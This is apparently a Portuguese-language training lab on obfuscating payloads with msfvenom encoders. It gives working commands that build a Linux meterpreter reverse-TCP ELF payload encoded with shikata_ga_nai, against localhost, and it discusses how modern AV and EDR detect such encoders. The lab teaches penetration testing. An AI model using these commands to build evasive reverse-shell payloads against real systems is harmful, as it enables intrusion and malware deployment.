Use Codificadores para Ofuscar Payloads com msfvenom

Kali LinuxBeginner
Pratique Agora

Introdução

No campo da cibersegurança, a ofuscação de payloads é uma técnica crítica usada para evadir a detecção por software de segurança. msfvenom, uma ferramenta poderosa dentro do Metasploit Framework, é um gerador de payloads autônomo que também pode ser usado para codificar payloads, alterando sua estrutura para evitar a detecção baseada em assinaturas por sistemas antivírus (AV).

Um codificador aplica uma série de transformações ao código original do payload, tornando-o ilegível para scanners de assinatura simples. Quando o payload é executado, um pequeno stub decodificador é executado primeiro, reconstrói o payload original na memória e, em seguida, transfere a execução para ele.

Neste laboratório, você aprenderá os fundamentos do uso de codificadores msfvenom. Você começará listando os codificadores disponíveis, em seguida, selecionará um popular para gerar um payload codificado, aplicará múltiplas iterações de codificação e, finalmente, discutirá a eficácia dessa técnica contra soluções de segurança modernas.

Listar codificadores disponíveis com msfvenom --list encoders

Nesta etapa, você começará listando todos os codificadores disponíveis no msfvenom. Isso lhe dará uma visão geral das diferentes opções que você tem para ofuscar payloads.

Primeiro, você precisa garantir que o Metasploit Framework, que inclui o msfvenom, esteja instalado. Execute os seguintes comandos para atualizar sua lista de pacotes e instalá-lo.

sudo apt-get update
sudo apt-get install -y metasploit-framework

Após a conclusão da instalação, você pode listar todos os codificadores disponíveis usando a opção --list encoders com msfvenom. Este comando exibirá uma tabela de codificadores com sua classificação (rank), nome e uma breve descrição. A classificação indica a confiabilidade e eficácia do codificador, sendo excellent a mais alta.

Execute o seguinte comando em seu terminal:

msfvenom --list encoders

Você verá uma longa lista de codificadores disponíveis. A saída será estruturada da seguinte forma, mostrando o nome, a classificação e a descrição de cada um.

Framework Encoders [--list encoders]
====================================

    Name                          Rank       Description
    ----                          ----       -----------
    cmd/brace                     low        Bash Brace Expansion Command Encoder
    cmd/echo                      good       Echo Command Encoder
    cmd/generic_sh                manual     Generic Shell Variable Substitution Command Encoder
    cmd/ifs                       low        Bourne ${IFS} Substitution Command Encoder
    cmd/perl                      normal     Perl Command Encoder
    cmd/powershell_base64         excellent  Powershell Base64 Command Encoder
    cmd/sh_char_code              manual     Shell Char Code Substitution Command Encoder
    ...
    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder
    ...
    x64/zutto                     normal     Ruby based x64 encoder

Reserve um momento para percorrer a lista e ver a variedade de codificadores disponíveis para diferentes arquiteturas e propósitos.

Selecionar um codificador como x86/shikata_ga_nai

Nesta etapa, você aprenderá sobre um dos codificadores mais conhecidos: x86/shikata_ga_nai. Não há comando para executar nesta etapa; o objetivo é entender por que um codificador específico pode ser escolhido.

Da lista que você gerou na etapa anterior, você provavelmente notou o codificador x86/shikata_ga_nai. Ele é famoso por alguns motivos:

  • Rank (Classificação): Possui uma classificação excellent (excelente), o que significa que é altamente confiável e improvável que corrompa o payload durante o processo de codificação.
  • Polimorfismo: É um codificador polimórfico. Isso significa que ele altera seu próprio código de decriptografia cada vez que é aplicado. Em teoria, isso torna muito mais difícil para o software AV criar uma assinatura estática para o stub decodificador.
  • Uso Amplo: Tem sido um dos codificadores mais populares e padrão no Metasploit por muitos anos, tornando-o um exemplo clássico para aprender sobre ofuscação.

Embora sua popularidade também tenha levado a ser amplamente identificado por AVs modernos (um tópico que abordaremos mais tarde), ele continua sendo um exemplo perfeito para demonstrar o processo de codificação. Na próxima etapa, você usará este codificador para ofuscar um payload.

Gerar um payload usando a flag -e para especificar o codificador

Nesta etapa, você gerará um payload e aplicará o codificador x86/shikata_ga_nai a ele. Você usará a flag -e para especificar o codificador escolhido.

Vamos criar um payload simples de reverse TCP para Linux. Este payload tentará se conectar a um endereço IP e porta especificados. Nós o codificaremos e o salvaremos como um arquivo ELF (Executable and Linkable Format), que é o formato binário padrão para Linux.

A estrutura do comando é a seguinte: msfvenom -p <payload> LHOST=<ip> LPORT=<port> -e <encoder> -f <format> > <output_file>

  • -p: Especifica o payload. Usaremos linux/x86/meterpreter/reverse_tcp.
  • LHOST e LPORT: Opções exigidas pelo payload para saber para onde se conectar. Usaremos 127.0.0.1 (localhost) para este exemplo.
  • -e: Especifica o codificador. Usaremos x86/shikata_ga_nai.
  • -f: Especifica o formato de saída. Usaremos elf.
  • >: Redireciona a saída para um arquivo.

Agora, execute o seguinte comando em seu terminal para gerar o payload codificado e salvá-lo como encoded_payload.elf:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -f elf > encoded_payload.elf

O msfvenom processará a solicitação e mostrará algumas informações sobre o payload gerado, incluindo o tamanho final.

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 104 (iteration=0)
x86/shikata_ga_nai chosen with final size 104
Payload size: 104 bytes
Final size of elf file: 224 bytes

Você agora criou com sucesso um arquivo de payload codificado chamado encoded_payload.elf em seu diretório atual (~/project). Você pode verificar sua criação com o comando ls -l.

ls -l
total 4
-rw-r--r-- 1 labex labex 224 May 20 10:30 encoded_payload.elf

Usar a flag -i para aplicar múltiplas iterações de codificação

Nesta etapa, você aprenderá como aplicar o codificador várias vezes ao mesmo payload usando a flag -i para iterações. A teoria é que múltiplas camadas de codificação tornarão o payload ainda mais difícil de detectar.

Embora isso pareça eficaz, tem suas desvantagens. Cada iteração de codificação adiciona um novo stub decodificador, o que aumenta o tamanho geral do payload. Além disso, isso às vezes pode criar um padrão repetitivo que o software de segurança pode detectar.

Vamos aplicar o codificador x86/shikata_ga_nai 5 vezes ao mesmo payload. Salvaremos este novo payload como multi_encoded_payload.elf para compará-lo com o anterior.

Use o seguinte comando, adicionando a flag -i 5:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f elf > multi_encoded_payload.elf

O msfvenom agora aplicará o codificador cinco vezes. Observe a saída, que mostra cada iteração.

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 104 (iteration=0)
x86/shikata_ga_nai succeeded with size 131 (iteration=1)
x86/shikata_ga_nai succeeded with size 158 (iteration=2)
x86/shikata_ga_nai succeeded with size 185 (iteration=3)
x86/shikata_ga_nai succeeded with size 212 (iteration=4)
x86/shikata_ga_nai chosen with final size 212
Payload size: 212 bytes
Final size of elf file: 332 bytes

Agora, use ls -l para comparar os tamanhos dos arquivos dos payloads codificado uma vez e codificado múltiplas vezes.

ls -l
total 8
-rw-r--r-- 1 labex labex 224 May 20 10:30 encoded_payload.elf
-rw-r--r-- 1 labex labex 332 May 20 10:35 multi_encoded_payload.elf

Como você pode ver, o multi_encoded_payload.elf é significativamente maior que o encoded_payload.elf devido ao processo de codificação repetido.

Discutir a eficácia dos codificadores contra AV moderno

Nesta etapa final, discutiremos a eficácia no mundo real de codificadores básicos como o x86/shikata_ga_nai. Esta etapa é puramente conceitual e não há comandos para executar.

Embora os codificadores já tenham sido um método altamente eficaz para contornar o AV, sua eficácia diminuiu muito contra soluções de segurança modernas, como antivírus de próxima geração (NGAV) e sistemas de detecção e resposta de endpoint (EDR). Eis o porquê:

  1. Assinatura do Decodificador: Fornecedores de segurança sabem como os codificadores populares funcionam. O stub decodificador para shikata_ga_nai é, em si, uma assinatura bem conhecida. Muitos produtos AV sinalizarão um arquivo simplesmente porque ele contém este decodificador, independentemente do payload que ele está tentando decodificar. Aplicar mais iterações (flag -i) geralmente torna essa assinatura ainda mais óbvia.

  2. Análise Heurística e Comportamental: AVs modernos não dependem apenas de assinaturas estáticas. Eles usam heurísticas para identificar características suspeitas (por exemplo, um pequeno programa tentando alocar memória executável) e análise comportamental para monitorar o que um programa faz quando é executado. Um payload codificado que se decodifica na memória e, em seguida, tenta abrir um reverse shell é um comportamento altamente suspeito que é facilmente detectado.

  3. Sandboxing e Emulação: Muitos produtos de segurança podem executar um arquivo suspeito em um ambiente seguro e virtual (um sandbox) para observar seu comportamento antes que ele seja executado no sistema real. No sandbox, o AV pode permitir que o payload se decodifique e, em seguida, analisar o código original e malicioso.

Em conclusão, embora a compreensão dos codificadores do msfvenom seja uma habilidade fundamental, depender exclusivamente deles para ofuscação não é uma estratégia viável em ambientes modernos. A evasão avançada requer técnicas mais sofisticadas, como a criação de codificadores personalizados, o uso de packers e crypters, e a aplicação de métodos que visam especificamente e contornam os motores de detecção comportamental.

Resumo

Neste laboratório, você explorou os conceitos básicos de ofuscação de payloads usando codificadores do msfvenom.

Você aprendeu a:

  • Listar todos os codificadores disponíveis com msfvenom --list encoders.
  • Selecionar e entender o propósito de um codificador polimórfico popular como o x86/shikata_ga_nai.
  • Gerar um payload codificado usando a flag -e.
  • Aplicar múltiplas iterações de codificação com a flag -i e observar o impacto no tamanho do arquivo.
  • Entender as limitações de codificadores básicos contra soluções modernas de antivírus e EDR.

Este conhecimento fornece uma base sólida para entender a geração de payloads e o jogo de gato e rato entre detecção e evasão de malware. As técnicas que você praticou são um ponto de partida para explorar métodos de ofuscação mais avançados usados em testes de penetração profissionais.